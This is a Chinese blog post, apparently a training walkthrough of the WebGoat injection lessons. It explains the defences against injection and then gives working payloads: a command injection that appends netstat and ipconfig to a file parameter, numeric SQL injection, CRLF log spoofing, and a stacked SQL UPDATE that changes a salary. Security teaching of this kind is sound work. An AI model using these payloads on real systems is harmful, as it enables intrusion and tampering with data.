前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >webgoat-Injection

webgoat-Injection

作者头像
信安之路
发布2018-08-08 11:40:03
7030
发布2018-08-08 11:40:03
举报
文章被收录于专栏:信安之路信安之路

注入攻击是WEB安全领域中一种最为常见的攻击方式。在“跨站脚本攻击”一章中曾经提到过,XSS本质上也是一种针对HTML的注入攻击。而在“我的安全世界观”一章中,提出一个安全设计原则----“数据与代码分离”的原则,它可以说是专门为了解决注入攻击而生的。

注入攻击的本质,是把用户输入的数据当做代码来执行。这里有两个关键条件,第一个是用户能够控制输入;第二个是原本程序要执行的代码,拼接了用户输入的数据。

SQL注入的类型:数字型、字符型

  • 数字型:数字型的注入通常需要做类型转换,强类型的语言对数字型注入具有天然的免疫力。
  • 字符型:拼接SQL。制造闭合SQL语句,注释掉无用部分。 防御SQL注入的方法:
  • 数据类型转换时的类型检查
  • 特殊字符转义(ESAPI)
  • 使用安全函数(http://lib.csdn.net/base/java)中使用预编译,参数化查询条件
  • 使用安全的存储过程
代码语言:javascript
复制
String username = request.getParameter("username");        //获取请求中的变量username的值  
String sql = "SELECT id,username,itemsCon FROM items WHERE id = ? ";        //使用预编译的SQL语句  
PreparedStatement ps = connection.preparedStatement("sql");        //数据库连接创建带有预编译SQL语句的PreparedStatement对象  
ps.setString(1,id);        //参数绑定  
ResultSet rs = ps.executeQuery();        //创建SQL执行的结果集

Webgoat

Command Injection

任意选择一个文件,点击view,页面会提示

代码语言:javascript
复制
ExecResults for 'cmd.exe /c type "E:\safe\WebGoat-5.4\tomcat\webapps\WebGoat\lesson_plans\English\AccessControlMatrix.html"'

抓取请求,将HelpFile字段修改为

代码语言:javascript
复制
AccessControlMatrix.help"%20%26%20netstat%20-an%20%26%20ipconfig

注意要使用urlencoder

代码语言:javascript
复制
“ & netstat -an & ipconfig

先用”将前面的命令闭合,最终执行的命令就是:

代码语言:javascript
复制
cmd.exe /c type "E:\safe\WebGoat-5.4\tomcat\webapps\WebGoat\lesson_plans\English\AccessControlMatrix.html" & netstat -an & ipconfig

得到如下结果,命令已被执行

Num Injection

在 station 字段中注入特征字符,能组合成新的 SQL 语句。例子:

代码语言:javascript
复制
SELECT * FROM weather_data WHERE station = 12 and 1=2;

Log Spoofing

这种攻击基于在日志文件上欺骗人类的眼睛,攻击者可以很容易地擦除攻击日志。

目标:灰色区域代表Web服务器日志上需要录入的信息;使它看上去像是admin用户成功登录的样子;通过增加脚本提升攻击。

代码语言:javascript
复制
Smith%0d%0aLogin Succeeded for username: admin

String Injection

Modify Data with SQL Injection

表单允许用户通过userid查询自己的工资,这个表单存在SQL注入漏洞。数据表“salaries”。 命令格式:

代码语言:javascript
复制
UPDATE table SET column=value WHERE column=value;

分析:需要更新表 salaries,设置 salary 栏的值。使用如下命令:

代码语言:javascript
复制
UPDATE salaries SET salary=999999 WHERE userid='jsmith'

同时也需要结束前一个查询并且打开前一个引号 使指令有效。 综上于是空白处输入以下指令,点击Go:

代码语言:javascript
复制
whatever'; UPDATE salaries SET salary=999999 WHERE userid='jsmith
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2017-08-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Webgoat
    • Command Injection
    • Num Injection
    • Log Spoofing
    • String Injection
    • Modify Data with SQL Injection
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档